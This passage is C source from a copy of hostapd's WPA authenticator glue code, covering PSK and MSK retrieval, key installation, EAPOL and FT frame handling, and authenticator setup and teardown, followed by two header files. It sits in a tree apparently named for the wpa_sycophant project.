WPA_EAPOL_keyAvailable: if (sta->eapol_sm) sta->eapol_sm->eap_if->eapKeyAvailable = value ? TRUE : FALSE; break; case WPA_EAPOL_keyDone: if (sta->eapol_sm) sta->eapol_sm->keyDone = value ? TRUE : FALSE; break; case WPA_EAPOL_inc_EapolFramesTx: if (sta->eapol_sm) sta->eapol_sm->dot1xAuthEapolFramesTx++; break; } } static int hostapd_wpa_auth_get_eapol(void *ctx, const u8 *addr, wpa_eapol_variable var) { struct hostapd_data *hapd = ctx; struct sta_info *sta = ap_get_sta(hapd, addr); if (sta == NULL || sta->eapol_sm == NULL) return -1; switch (var) { case WPA_EAPOL_keyRun: return sta->eapol_sm->keyRun; case WPA_EAPOL_keyAvailable: return sta->eapol_sm->eap_if->eapKeyAvailable; default: return -1; } } static const u8 * hostapd_wpa_auth_get_psk(void *ctx, const u8 *addr, const u8 *p2p_dev_addr, const u8 *prev_psk, size_t *psk_len) { struct hostapd_data *hapd = ctx; struct sta_info *sta = ap_get_sta(hapd, addr); const u8 *psk; if (psk_len) *psk_len = PMK_LEN; #ifdef CONFIG_SAE if (sta && sta->auth_alg == WLAN_AUTH_SAE) { if (!sta->sae || prev_psk) return NULL; return sta->sae->pmk; } if (sta && wpa_auth_uses_sae(sta->wpa_sm)) { wpa_printf(MSG_DEBUG, "No PSK for STA trying to use SAE with PMKSA caching"); return NULL; } #endif /* CONFIG_SAE */ #ifdef CONFIG_OWE if ((hapd->conf->wpa_key_mgmt & WPA_KEY_MGMT_OWE) && sta && sta->owe_pmk) { if (psk_len) *psk_len = sta->owe_pmk_len; return sta->owe_pmk; } if ((hapd->conf->wpa_key_mgmt & WPA_KEY_MGMT_OWE) && sta) { struct rsn_pmksa_cache_entry *sa; sa = wpa_auth_sta_get_pmksa(sta->wpa_sm); if (sa && sa->akmp == WPA_KEY_MGMT_OWE) { if (psk_len) *psk_len = sa->pmk_len; return sa->pmk; } } #endif /* CONFIG_OWE */ psk = hostapd_get_psk(hapd->conf, addr, p2p_dev_addr, prev_psk); /* * This is about to iterate over all psks, prev_psk gives the last * returned psk which should not be returned again. * logic list (all hostapd_get_psk; all sta->psk) */ if (sta && sta->psk && !psk) { struct hostapd_sta_wpa_psk_short *pos; psk = sta->psk->psk; for (pos = sta->psk; pos; pos = pos->next) { if (pos->is_passphrase) { pbkdf2_sha1(pos->passphrase, hapd->conf->ssid.ssid, hapd->conf->ssid.ssid_len, 4096, pos->psk, PMK_LEN); pos->is_passphrase = 0; } if (pos->psk == prev_psk) { psk = pos->next ? pos->next->psk : NULL; break; } } } return psk; } static int hostapd_wpa_auth_get_msk(void *ctx, const u8 *addr, u8 *msk, size_t *len) { struct hostapd_data *hapd = ctx; const u8 *key; size_t keylen; struct sta_info *sta; sta = ap_get_sta(hapd, addr); if (sta == NULL) { wpa_printf(MSG_DEBUG, "AUTH_GET_MSK: Cannot find STA"); return -1; } key = ieee802_1x_get_key(sta->eapol_sm, &keylen); if (key == NULL) { wpa_printf(MSG_DEBUG, "AUTH_GET_MSK: Key is null, eapol_sm: %p", sta->eapol_sm); return -1; } if (keylen > *len) keylen = *len; os_memcpy(msk, key, keylen); *len = keylen; return 0; } static int hostapd_wpa_auth_set_key(void *ctx, int vlan_id, enum wpa_alg alg, const u8 *addr, int idx, u8 *key, size_t key_len) { struct hostapd_data *hapd = ctx; const char *ifname = hapd->conf->iface; if (vlan_id > 0) { ifname = hostapd_get_vlan_id_ifname(hapd->conf->vlan, vlan_id); if (ifname == NULL) return -1; } #ifdef CONFIG_TESTING_OPTIONS if (addr && !is_broadcast_ether_addr(addr)) { struct sta_info *sta; sta = ap_get_sta(hapd, addr); if (sta) { sta->last_tk_alg = alg; sta->last_tk_key_idx = idx; if (key) os_memcpy(sta->last_tk, key, key_len); sta->last_tk_len = key_len; } #ifdef CONFIG_IEEE80211W } else if (alg == WPA_ALG_IGTK || alg == WPA_ALG_BIP_GMAC_128 || alg == WPA_ALG_BIP_GMAC_256 || alg == WPA_ALG_BIP_CMAC_256) { hapd->last_igtk_alg = alg; hapd->last_igtk_key_idx = idx; if (key) os_memcpy(hapd->last_igtk, key, key_len); hapd->last_igtk_len = key_len; #endif /* CONFIG_IEEE80211W */ } else { hapd->last_gtk_alg = alg; hapd->last_gtk_key_idx = idx; if (key) os_memcpy(hapd->last_gtk, key, key_len); hapd->last_gtk_len = key_len; } #endif /* CONFIG_TESTING_OPTIONS */ return hostapd_drv_set_key(ifname, hapd, alg, addr, idx, 1, NULL, 0, key, key_len); } static int hostapd_wpa_auth_get_seqnum(void *ctx, const u8 *addr, int idx, u8 *seq) { struct hostapd_data *hapd = ctx; return hostapd_get_seqnum(hapd->conf->iface, hapd, addr, idx, seq); } static int hostapd_wpa_auth_send_eapol(void *ctx, const u8 *addr, const u8 *data, size_t data_len, int encrypt) { struct hostapd_data *hapd = ctx; struct sta_info *sta; u32 flags = 0; #ifdef CONFIG_TESTING_OPTIONS if (hapd->ext_eapol_frame_io) { size_t hex_len = 2 * data_len + 1; char *hex = os_malloc(hex_len); if (hex == NULL) return -1; wpa_snprintf_hex(hex, hex_len, data, data_len); wpa_msg(hapd->msg_ctx, MSG_INFO, "EAPOL-TX " MACSTR " %s", MAC2STR(addr), hex); os_free(hex); return 0; } #endif /* CONFIG_TESTING_OPTIONS */ sta = ap_get_sta(hapd, addr); if (sta) flags = hostapd_sta_flags_to_drv(sta->flags); return hostapd_drv_hapd_send_eapol(hapd, addr, data, data_len, encrypt, flags); } static int hostapd_wpa_auth_for_each_sta( void *ctx, int (*cb)(struct wpa_state_machine *sm, void *ctx), void *cb_ctx) { struct hostapd_data *hapd = ctx; struct sta_info *sta; for (sta = hapd->sta_list; sta; sta = sta->next) { if (sta->wpa_sm && cb(sta->wpa_sm, cb_ctx)) return 1; } return 0; } struct wpa_auth_iface_iter_data { int (*cb)(struct wpa_authenticator *sm, void *ctx); void *cb_ctx; }; static int wpa_auth_iface_iter(struct hostapd_iface *iface, void *ctx) { struct wpa_auth_iface_iter_data *data = ctx; size_t i; for (i = 0; i < iface->num_bss; i++) { if (iface->bss[i]->wpa_auth && data->cb(iface->bss[i]->wpa_auth, data->cb_ctx)) return 1; } return 0; } static int hostapd_wpa_auth_for_each_auth( void *ctx, int (*cb)(struct wpa_authenticator *sm, void *ctx), void *cb_ctx) { struct hostapd_data *hapd = ctx; struct wpa_auth_iface_iter_data data; if (hapd->iface->interfaces == NULL || hapd->iface->interfaces->for_each_interface == NULL) return -1; data.cb = cb; data.cb_ctx = cb_ctx; return hapd->iface->interfaces->for_each_interface( hapd->iface->interfaces, wpa_auth_iface_iter, &data); } #ifdef CONFIG_IEEE80211R_AP struct wpa_ft_rrb_rx_later_data { struct dl_list list; u8 addr[ETH_ALEN]; size_t data_len; /* followed by data_len octets of data */ }; static void hostapd_wpa_ft_rrb_rx_later(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct wpa_ft_rrb_rx_later_data *data, *n; dl_list_for_each_safe(data, n, &hapd->l2_queue, struct wpa_ft_rrb_rx_later_data, list) { if (hapd->wpa_auth) { wpa_ft_rrb_rx(hapd->wpa_auth, data->addr, (const u8 *) (data + 1), data->data_len); } dl_list_del(&data->list); os_free(data); } } struct wpa_auth_ft_iface_iter_data { struct hostapd_data *src_hapd; const u8 *dst; const u8 *data; size_t data_len; }; static int hostapd_wpa_auth_ft_iter(struct hostapd_iface *iface, void *ctx) { struct wpa_auth_ft_iface_iter_data *idata = ctx; struct wpa_ft_rrb_rx_later_data *data; struct hostapd_data *hapd; size_t j; for (j = 0; j < iface->num_bss; j++) { hapd = iface->bss[j]; if (hapd == idata->src_hapd || !hapd->wpa_auth || os_memcmp(hapd->own_addr, idata->dst, ETH_ALEN) != 0) continue; wpa_printf(MSG_DEBUG, "FT: Send RRB data directly to locally managed BSS " MACSTR "@%s -> " MACSTR "@%s", MAC2STR(idata->src_hapd->own_addr), idata->src_hapd->conf->iface, MAC2STR(hapd->own_addr), hapd->conf->iface); /* Defer wpa_ft_rrb_rx() until next eloop step as this is * when it would be triggered when reading from a socket. * This avoids * hapd0:send -> hapd1:recv -> hapd1:send -> hapd0:recv, * that is calling hapd0:recv handler from within * hapd0:send directly. */ data = os_zalloc(sizeof(*data) + idata->data_len); if (!data) return 1; os_memcpy(data->addr, idata->src_hapd->own_addr, ETH_ALEN); os_memcpy(data + 1, idata->data, idata->data_len); data->data_len = idata->data_len; dl_list_add(&hapd->l2_queue, &data->list); if (!eloop_is_timeout_registered(hostapd_wpa_ft_rrb_rx_later, hapd, NULL)) eloop_register_timeout(0, 0, hostapd_wpa_ft_rrb_rx_later, hapd, NULL); return 1; } return 0; } #endif /* CONFIG_IEEE80211R_AP */ static int hostapd_wpa_auth_send_ether(void *ctx, const u8 *dst, u16 proto, const u8 *data, size_t data_len) { struct hostapd_data *hapd = ctx; struct l2_ethhdr *buf; int ret; #ifdef CONFIG_TESTING_OPTIONS if (hapd->ext_eapol_frame_io && proto == ETH_P_EAPOL) { size_t hex_len = 2 * data_len + 1; char *hex = os_malloc(hex_len); if (hex == NULL) return -1; wpa_snprintf_hex(hex, hex_len, data, data_len); wpa_msg(hapd->msg_ctx, MSG_INFO, "EAPOL-TX " MACSTR " %s", MAC2STR(dst), hex); os_free(hex); return 0; } #endif /* CONFIG_TESTING_OPTIONS */ #ifdef CONFIG_IEEE80211R_AP if (proto == ETH_P_RRB && hapd->iface->interfaces && hapd->iface->interfaces->for_each_interface) { int res; struct wpa_auth_ft_iface_iter_data idata; idata.src_hapd = hapd; idata.dst = dst; idata.data = data; idata.data_len = data_len; res = hapd->iface->interfaces->for_each_interface( hapd->iface->interfaces, hostapd_wpa_auth_ft_iter, &idata); if (res == 1) return data_len; } #endif /* CONFIG_IEEE80211R_AP */ if (hapd->driver && hapd->driver->send_ether) return hapd->driver->send_ether(hapd->drv_priv, dst, hapd->own_addr, proto, data, data_len); if (hapd->l2 == NULL) return -1; buf = os_malloc(sizeof(*buf) + data_len); if (buf == NULL) return -1; os_memcpy(buf->h_dest, dst, ETH_ALEN); os_memcpy(buf->h_source, hapd->own_addr, ETH_ALEN); buf->h_proto = host_to_be16(proto); os_memcpy(buf + 1, data, data_len); ret = l2_packet_send(hapd->l2, dst, proto, (u8 *) buf, sizeof(*buf) + data_len); os_free(buf); return ret; } #ifdef CONFIG_ETH_P_OUI static struct eth_p_oui_ctx * hostapd_wpa_get_oui(struct hostapd_data *hapd, u8 oui_suffix) { switch (oui_suffix) { #ifdef CONFIG_IEEE80211R_AP case FT_PACKET_R0KH_R1KH_PULL: return hapd->oui_pull; case FT_PACKET_R0KH_R1KH_RESP: return hapd->oui_resp; case FT_PACKET_R0KH_R1KH_PUSH: return hapd->oui_push; case FT_PACKET_R0KH_R1KH_SEQ_REQ: return hapd->oui_sreq; case FT_PACKET_R0KH_R1KH_SEQ_RESP: return hapd->oui_sresp; #endif /* CONFIG_IEEE80211R_AP */ default: return NULL; } } #endif /* CONFIG_ETH_P_OUI */ #ifdef CONFIG_IEEE80211R_AP struct oui_deliver_later_data { struct dl_list list; u8 src_addr[ETH_ALEN]; u8 dst_addr[ETH_ALEN]; size_t data_len; u8 oui_suffix; /* followed by data_len octets of data */ }; static void hostapd_oui_deliver_later(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct oui_deliver_later_data *data, *n; struct eth_p_oui_ctx *oui_ctx; dl_list_for_each_safe(data, n, &hapd->l2_oui_queue, struct oui_deliver_later_data, list) { oui_ctx = hostapd_wpa_get_oui(hapd, data->oui_suffix); if (hapd->wpa_auth && oui_ctx) { eth_p_oui_deliver(oui_ctx, data->src_addr, data->dst_addr, (const u8 *) (data + 1), data->data_len); } dl_list_del(&data->list); os_free(data); } } struct wpa_auth_oui_iface_iter_data { struct hostapd_data *src_hapd; const u8 *dst_addr; const u8 *data; size_t data_len; u8 oui_suffix; }; static int hostapd_wpa_auth_oui_iter(struct hostapd_iface *iface, void *ctx) { struct wpa_auth_oui_iface_iter_data *idata = ctx; struct oui_deliver_later_data *data; struct hostapd_data *hapd; size_t j; for (j = 0; j < iface->num_bss; j++) { hapd = iface->bss[j]; if (hapd == idata->src_hapd) continue; if (!is_multicast_ether_addr(idata->dst_addr) && os_memcmp(hapd->own_addr, idata->dst_addr, ETH_ALEN) != 0) continue; /* defer eth_p_oui_deliver until next eloop step as this is * when it would be triggerd from reading from sock * This avoids * hapd0:send -> hapd1:recv -> hapd1:send -> hapd0:recv, * that is calling hapd0:recv handler from within * hapd0:send directly. */ data = os_zalloc(sizeof(*data) + idata->data_len); if (!data) return 1; os_memcpy(data->src_addr, idata->src_hapd->own_addr, ETH_ALEN); os_memcpy(data->dst_addr, idata->dst_addr, ETH_ALEN); os_memcpy(data + 1, idata->data, idata->data_len); data->data_len = idata->data_len; data->oui_suffix = idata->oui_suffix; dl_list_add(&hapd->l2_oui_queue, &data->list); if (!eloop_is_timeout_registered(hostapd_oui_deliver_later, hapd, NULL)) eloop_register_timeout(0, 0, hostapd_oui_deliver_later, hapd, NULL); return 1; } return 0; } #endif /* CONFIG_IEEE80211R_AP */ static int hostapd_wpa_auth_send_oui(void *ctx, const u8 *dst, u8 oui_suffix, const u8 *data, size_t data_len) { #ifdef CONFIG_ETH_P_OUI struct hostapd_data *hapd = ctx; struct eth_p_oui_ctx *oui_ctx; #ifdef CONFIG_IEEE80211R_AP if (hapd->iface->interfaces && hapd->iface->interfaces->for_each_interface) { struct wpa_auth_oui_iface_iter_data idata; int res; idata.src_hapd = hapd; idata.dst_addr = dst; idata.data = data; idata.data_len = data_len; idata.oui_suffix = oui_suffix; res = hapd->iface->interfaces->for_each_interface( hapd->iface->interfaces, hostapd_wpa_auth_oui_iter, &idata); if (res == 1) return data_len; } #endif /* CONFIG_IEEE80211R_AP */ oui_ctx = hostapd_wpa_get_oui(hapd, oui_suffix); if (!oui_ctx) return -1; return eth_p_oui_send(oui_ctx, hapd->own_addr, dst, data, data_len); #else /* CONFIG_ETH_P_OUI */ return -1; #endif /* CONFIG_ETH_P_OUI */ } #ifdef CONFIG_IEEE80211R_AP static int hostapd_wpa_auth_send_ft_action(void *ctx, const u8 *dst, const u8 *data, size_t data_len) { struct hostapd_data *hapd = ctx; int res; struct ieee80211_mgmt *m; size_t mlen; struct sta_info *sta; sta = ap_get_sta(hapd, dst); if (sta == NULL || sta->wpa_sm == NULL) return -1; m = os_zalloc(sizeof(*m) + data_len); if (m == NULL) return -1; mlen = ((u8 *) &m->u - (u8 *) m) + data_len; m->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); os_memcpy(m->da, dst, ETH_ALEN); os_memcpy(m->sa, hapd->own_addr, ETH_ALEN); os_memcpy(m->bssid, hapd->own_addr, ETH_ALEN); os_memcpy(&m->u, data, data_len); res = hostapd_drv_send_mlme(hapd, (u8 *) m, mlen, 0); os_free(m); return res; } static struct wpa_state_machine * hostapd_wpa_auth_add_sta(void *ctx, const u8 *sta_addr) { struct hostapd_data *hapd = ctx; struct sta_info *sta; if (hostapd_add_sta_node(hapd, sta_addr, WLAN_AUTH_FT) < 0) return NULL; sta = ap_sta_add(hapd, sta_addr); if (sta == NULL) return NULL; if (sta->wpa_sm) { sta->auth_alg = WLAN_AUTH_FT; return sta->wpa_sm; } sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, sta->addr, NULL); if (sta->wpa_sm == NULL) { ap_free_sta(hapd, sta); return NULL; } sta->auth_alg = WLAN_AUTH_FT; return sta->wpa_sm; } static int hostapd_wpa_auth_set_vlan(void *ctx, const u8 *sta_addr, struct vlan_description *vlan) { struct hostapd_data *hapd = ctx; struct sta_info *sta; sta = ap_get_sta(hapd, sta_addr); if (!sta || !sta->wpa_sm) return -1; if (vlan->notempty && !hostapd_vlan_valid(hapd->conf->vlan, vlan)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Invalid VLAN %d%s received from FT", vlan->untagged, vlan->tagged[0] ? "+" : ""); return -1; } if (ap_sta_set_vlan(hapd, sta, vlan) < 0) return -1; /* Configure wpa_group for GTK but ignore error due to driver not * knowing this STA. */ ap_sta_bind_vlan(hapd, sta); if (sta->vlan_id) hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "VLAN ID %d", sta->vlan_id); return 0; } static int hostapd_wpa_auth_get_vlan(void *ctx, const u8 *sta_addr, struct vlan_description *vlan) { struct hostapd_data *hapd = ctx; struct sta_info *sta; sta = ap_get_sta(hapd, sta_addr); if (!sta) return -1; if (sta->vlan_desc) *vlan = *sta->vlan_desc; else os_memset(vlan, 0, sizeof(*vlan)); return 0; } static int hostapd_wpa_auth_set_identity(void *ctx, const u8 *sta_addr, const u8 *identity, size_t identity_len) { struct hostapd_data *hapd = ctx; struct sta_info *sta; sta = ap_get_sta(hapd, sta_addr); if (!sta) return -1; os_free(sta->identity); sta->identity = NULL; if (sta->eapol_sm) { os_free(sta->eapol_sm->identity); sta->eapol_sm->identity = NULL; sta->eapol_sm->identity_len = 0; } if (!identity_len) return 0; /* sta->identity is NULL terminated */ sta->identity = os_zalloc(identity_len + 1); if (!sta->identity) return -1; os_memcpy(sta->identity, identity, identity_len); if (sta->eapol_sm) { sta->eapol_sm->identity = os_zalloc(identity_len); if (!sta->eapol_sm->identity) return -1; os_memcpy(sta->eapol_sm->identity, identity, identity_len); sta->eapol_sm->identity_len = identity_len; } return 0; } static size_t hostapd_wpa_auth_get_identity(void *ctx, const u8 *sta_addr, const u8 **buf) { struct hostapd_data *hapd = ctx; struct sta_info *sta; size_t len; char *identity; sta = ap_get_sta(hapd, sta_addr); if (!sta) return 0; *buf = ieee802_1x_get_identity(sta->eapol_sm, &len); if (*buf && len) return len; if (!sta->identity) { *buf = NULL; return 0; } identity = sta->identity; len = os_strlen(identity); *buf = (u8 *) identity; return len; } static int hostapd_wpa_auth_set_radius_cui(void *ctx, const u8 *sta_addr, const u8 *radius_cui, size_t radius_cui_len) { struct hostapd_data *hapd = ctx; struct sta_info *sta; sta = ap_get_sta(hapd, sta_addr); if (!sta) return -1; os_free(sta->radius_cui); sta->radius_cui = NULL; if (sta->eapol_sm) { wpabuf_free(sta->eapol_sm->radius_cui); sta->eapol_sm->radius_cui = NULL; } if (!radius_cui) return 0; /* sta->radius_cui is NULL terminated */ sta->radius_cui = os_zalloc(radius_cui_len + 1); if (!sta->radius_cui) return -1; os_memcpy(sta->radius_cui, radius_cui, radius_cui_len); if (sta->eapol_sm) { sta->eapol_sm->radius_cui = wpabuf_alloc_copy(radius_cui, radius_cui_len); if (!sta->eapol_sm->radius_cui) return -1; } return 0; } static size_t hostapd_wpa_auth_get_radius_cui(void *ctx, const u8 *sta_addr, const u8 **buf) { struct hostapd_data *hapd = ctx; struct sta_info *sta; struct wpabuf *b; size_t len; char *radius_cui; sta = ap_get_sta(hapd, sta_addr); if (!sta) return 0; b = ieee802_1x_get_radius_cui(sta->eapol_sm); if (b) { len = wpabuf_len(b); *buf = wpabuf_head(b); return len; } if (!sta->radius_cui) { *buf = NULL; return 0; } radius_cui = sta->radius_cui; len = os_strlen(radius_cui); *buf = (u8 *) radius_cui; return len; } static void hostapd_wpa_auth_set_session_timeout(void *ctx, const u8 *sta_addr, int session_timeout) { struct hostapd_data *hapd = ctx; struct sta_info *sta; sta = ap_get_sta(hapd, sta_addr); if (!sta) return; if (session_timeout) { os_get_reltime(&sta->session_timeout); sta->session_timeout.sec += session_timeout; sta->session_timeout_set = 1; ap_sta_session_timeout(hapd, sta, session_timeout); } else { sta->session_timeout_set = 0; ap_sta_no_session_timeout(hapd, sta); } } static int hostapd_wpa_auth_get_session_timeout(void *ctx, const u8 *sta_addr) { struct hostapd_data *hapd = ctx; struct sta_info *sta; struct os_reltime now, remaining; sta = ap_get_sta(hapd, sta_addr); if (!sta || !sta->session_timeout_set) return 0; os_get_reltime(&now); if (os_reltime_before(&sta->session_timeout, &now)) { /* already expired, return >0 as timeout was set */ return 1; } os_reltime_sub(&sta->session_timeout, &now, &remaining); return (remaining.sec > 0) ? remaining.sec : 1; } static void hostapd_rrb_receive(void *ctx, const u8 *src_addr, const u8 *buf, size_t len) { struct hostapd_data *hapd = ctx; struct l2_ethhdr *ethhdr; if (len < sizeof(*ethhdr)) return; ethhdr = (struct l2_ethhdr *) buf; wpa_printf(MSG_DEBUG, "FT: RRB received packet " MACSTR " -> " MACSTR, MAC2STR(ethhdr->h_source), MAC2STR(ethhdr->h_dest)); if (!is_multicast_ether_addr(ethhdr->h_dest) && os_memcmp(hapd->own_addr, ethhdr->h_dest, ETH_ALEN) != 0) return; wpa_ft_rrb_rx(hapd->wpa_auth, ethhdr->h_source, buf + sizeof(*ethhdr), len - sizeof(*ethhdr)); } static void hostapd_rrb_oui_receive(void *ctx, const u8 *src_addr, const u8 *dst_addr, u8 oui_suffix, const u8 *buf, size_t len) { struct hostapd_data *hapd = ctx; wpa_printf(MSG_DEBUG, "FT: RRB received packet " MACSTR " -> " MACSTR, MAC2STR(src_addr), MAC2STR(dst_addr)); if (!is_multicast_ether_addr(dst_addr) && os_memcmp(hapd->own_addr, dst_addr, ETH_ALEN) != 0) return; wpa_ft_rrb_oui_rx(hapd->wpa_auth, src_addr, dst_addr, oui_suffix, buf, len); } static int hostapd_wpa_auth_add_tspec(void *ctx, const u8 *sta_addr, u8 *tspec_ie, size_t tspec_ielen) { struct hostapd_data *hapd = ctx; return hostapd_add_tspec(hapd, sta_addr, tspec_ie, tspec_ielen); } static int hostapd_wpa_register_ft_oui(struct hostapd_data *hapd, const char *ft_iface) { hapd->oui_pull = eth_p_oui_register(hapd, ft_iface, FT_PACKET_R0KH_R1KH_PULL, hostapd_rrb_oui_receive, hapd); if (!hapd->oui_pull) return -1; hapd->oui_resp = eth_p_oui_register(hapd, ft_iface, FT_PACKET_R0KH_R1KH_RESP, hostapd_rrb_oui_receive, hapd); if (!hapd->oui_resp) return -1; hapd->oui_push = eth_p_oui_register(hapd, ft_iface, FT_PACKET_R0KH_R1KH_PUSH, hostapd_rrb_oui_receive, hapd); if (!hapd->oui_push) return -1; hapd->oui_sreq = eth_p_oui_register(hapd, ft_iface, FT_PACKET_R0KH_R1KH_SEQ_REQ, hostapd_rrb_oui_receive, hapd); if (!hapd->oui_sreq) return -1; hapd->oui_sresp = eth_p_oui_register(hapd, ft_iface, FT_PACKET_R0KH_R1KH_SEQ_RESP, hostapd_rrb_oui_receive, hapd); if (!hapd->oui_sresp) return -1; return 0; } static void hostapd_wpa_unregister_ft_oui(struct hostapd_data *hapd) { eth_p_oui_unregister(hapd->oui_pull); hapd->oui_pull = NULL; eth_p_oui_unregister(hapd->oui_resp); hapd->oui_resp = NULL; eth_p_oui_unregister(hapd->oui_push); hapd->oui_push = NULL; eth_p_oui_unregister(hapd->oui_sreq); hapd->oui_sreq = NULL; eth_p_oui_unregister(hapd->oui_sresp); hapd->oui_sresp = NULL; } #endif /* CONFIG_IEEE80211R_AP */ int hostapd_setup_wpa(struct hostapd_data *hapd) { struct wpa_auth_config _conf; static const struct wpa_auth_callbacks cb = { .logger = hostapd_wpa_auth_logger, .disconnect = hostapd_wpa_auth_disconnect, .mic_failure_report = hostapd_wpa_auth_mic_failure_report, .psk_failure_report = hostapd_wpa_auth_psk_failure_report, .set_eapol = hostapd_wpa_auth_set_eapol, .get_eapol = hostapd_wpa_auth_get_eapol, .get_psk = hostapd_wpa_auth_get_psk, .get_msk = hostapd_wpa_auth_get_msk, .set_key = hostapd_wpa_auth_set_key, .get_seqnum = hostapd_wpa_auth_get_seqnum, .send_eapol = hostapd_wpa_auth_send_eapol, .for_each_sta = hostapd_wpa_auth_for_each_sta, .for_each_auth = hostapd_wpa_auth_for_each_auth, .send_ether = hostapd_wpa_auth_send_ether, .send_oui = hostapd_wpa_auth_send_oui, #ifdef CONFIG_IEEE80211R_AP .send_ft_action = hostapd_wpa_auth_send_ft_action, .add_sta = hostapd_wpa_auth_add_sta, .add_tspec = hostapd_wpa_auth_add_tspec, .set_vlan = hostapd_wpa_auth_set_vlan, .get_vlan = hostapd_wpa_auth_get_vlan, .set_identity = hostapd_wpa_auth_set_identity, .get_identity = hostapd_wpa_auth_get_identity, .set_radius_cui = hostapd_wpa_auth_set_radius_cui, .get_radius_cui = hostapd_wpa_auth_get_radius_cui, .set_session_timeout = hostapd_wpa_auth_set_session_timeout, .get_session_timeout = hostapd_wpa_auth_get_session_timeout, #endif /* CONFIG_IEEE80211R_AP */ }; const u8 *wpa_ie; size_t wpa_ie_len; hostapd_wpa_auth_conf(hapd->conf, hapd->iconf, &_conf); if (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_EAPOL_TX_STATUS) _conf.tx_status = 1; if (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_AP_MLME) _conf.ap_mlme = 1; hapd->wpa_auth = wpa_init(hapd->own_addr, &_conf, &cb, hapd); if (hapd->wpa_auth == NULL) { wpa_printf(MSG_ERROR, "WPA initialization failed."); return -1; } if (hostapd_set_privacy(hapd, 1)) { wpa_printf(MSG_ERROR, "Could not set PrivacyInvoked " "for interface %s", hapd->conf->iface); return -1; } wpa_ie = wpa_auth_get_wpa_ie(hapd->wpa_auth, &wpa_ie_len); if (hostapd_set_generic_elem(hapd, wpa_ie, wpa_ie_len)) { wpa_printf(MSG_ERROR, "Failed to configure WPA IE for " "the kernel driver."); return -1; } if (rsn_preauth_iface_init(hapd)) { wpa_printf(MSG_ERROR, "Initialization of RSN " "pre-authentication failed."); return -1; } #ifdef CONFIG_IEEE80211R_AP if (!hostapd_drv_none(hapd) && wpa_key_mgmt_ft(hapd->conf->wpa_key_mgmt)) { const char *ft_iface; ft_iface = hapd->conf->bridge[0] ? hapd->conf->bridge : hapd->conf->iface; hapd->l2 = l2_packet_init(ft_iface, NULL, ETH_P_RRB, hostapd_rrb_receive, hapd, 1); if (hapd->l2 == NULL && (hapd->driver == NULL || hapd->driver->send_ether == NULL)) { wpa_printf(MSG_ERROR, "Failed to open l2_packet " "interface"); return -1; } if (hostapd_wpa_register_ft_oui(hapd, ft_iface)) { wpa_printf(MSG_ERROR, "Failed to open ETH_P_OUI interface"); return -1; } } #endif /* CONFIG_IEEE80211R_AP */ return 0; } void hostapd_reconfig_wpa(struct hostapd_data *hapd) { struct wpa_auth_config wpa_auth_conf; hostapd_wpa_auth_conf(hapd->conf, hapd->iconf, &wpa_auth_conf); wpa_reconfig(hapd->wpa_auth, &wpa_auth_conf); } void hostapd_deinit_wpa(struct hostapd_data *hapd) { ieee80211_tkip_countermeasures_deinit(hapd); rsn_preauth_iface_deinit(hapd); if (hapd->wpa_auth) { wpa_deinit(hapd->wpa_auth); hapd->wpa_auth = NULL; if (hapd->drv_priv && hostapd_set_privacy(hapd, 0)) { wpa_printf(MSG_DEBUG, "Could not disable " "PrivacyInvoked for interface %s", hapd->conf->iface); } if (hapd->drv_priv && hostapd_set_generic_elem(hapd, (u8 *) "", 0)) { wpa_printf(MSG_DEBUG, "Could not remove generic " "information element from interface %s", hapd->conf->iface); } } ieee802_1x_deinit(hapd); #ifdef CONFIG_IEEE80211R_AP eloop_cancel_timeout(hostapd_wpa_ft_rrb_rx_later, hapd, ELOOP_ALL_CTX); hostapd_wpa_ft_rrb_rx_later(hapd, NULL); /* flush without delivering */ eloop_cancel_timeout(hostapd_oui_deliver_later, hapd, ELOOP_ALL_CTX); hostapd_oui_deliver_later(hapd, NULL); /* flush without delivering */ l2_packet_deinit(hapd->l2); hapd->l2 = NULL; hostapd_wpa_unregister_ft_oui(hapd); #endif /* CONFIG_IEEE80211R_AP */ } wpa_sycophant-master/src/ap/wpa_auth_glue.h000066400000000000000000000006731377436615100214350ustar00rootroot00000000000000/* * hostapd / WPA authenticator glue code * Copyright (c) 2002-2009, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef WPA_AUTH_GLUE_H #define WPA_AUTH_GLUE_H int hostapd_setup_wpa(struct hostapd_data *hapd); void hostapd_reconfig_wpa(struct hostapd_data *hapd); void hostapd_deinit_wpa(struct hostapd_data *hapd); #endif /* WPA_AUTH_GLUE_H */ wpa_sycophant-master/src/ap/wpa_auth_i.h000066400000000000000000000204541377436615100207300ustar00rootroot00000000000000/* * hostapd - IEEE 802.11i-2004 / WPA Authenticator: Internal definitions * Copyright (c) 2004-2015, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef WPA_AUTH_I_H #define WPA_AUTH_I_H #include "utils/list.h" /* max(dot11RSNAConfigGroupUpdateCount,dot11RSNAConfigPairwiseUpdateCount) */ #define RSNA_MAX_EAPOL_RETRIES 4 struct wpa_group; struct wpa_state_machine { struct wpa_authenticator *wpa_auth; struct wpa_group *group; u8 addr[ETH_ALEN]; u8 p2p_dev_addr[ETH_ALEN]; enum { WPA_PTK_INITIALIZE, WPA_PTK_DISCONNECT, WPA_PTK_DISCONNECTED, WPA_PTK_AUTHENTICATION, WPA_PTK_AUTHENTICATION2, WPA_PTK_INITPMK, WPA_PTK_INITPSK, WPA_PTK_PTKSTART, WPA_PTK_PTKCALCNEGOTIATING, WPA_PTK_PTKCALCNEGOTIATING2, WPA_PTK_PTKINITNEGOTIATING, WPA_PTK_PTKINITDONE } wpa_ptk_state; enum { WPA_PTK_GROUP_IDLE = 0, WPA_PTK_GROUP_REKEYNEGOTIATING, WPA_PTK_GROUP_REKEYESTABLISHED, WPA_PTK_GROUP_KEYERROR } wpa_ptk_group_state; Boolean Init; Boolean DeauthenticationRequest; Boolean AuthenticationRequest; Boolean ReAuthenticationRequest; Boolean Disconnect; u16 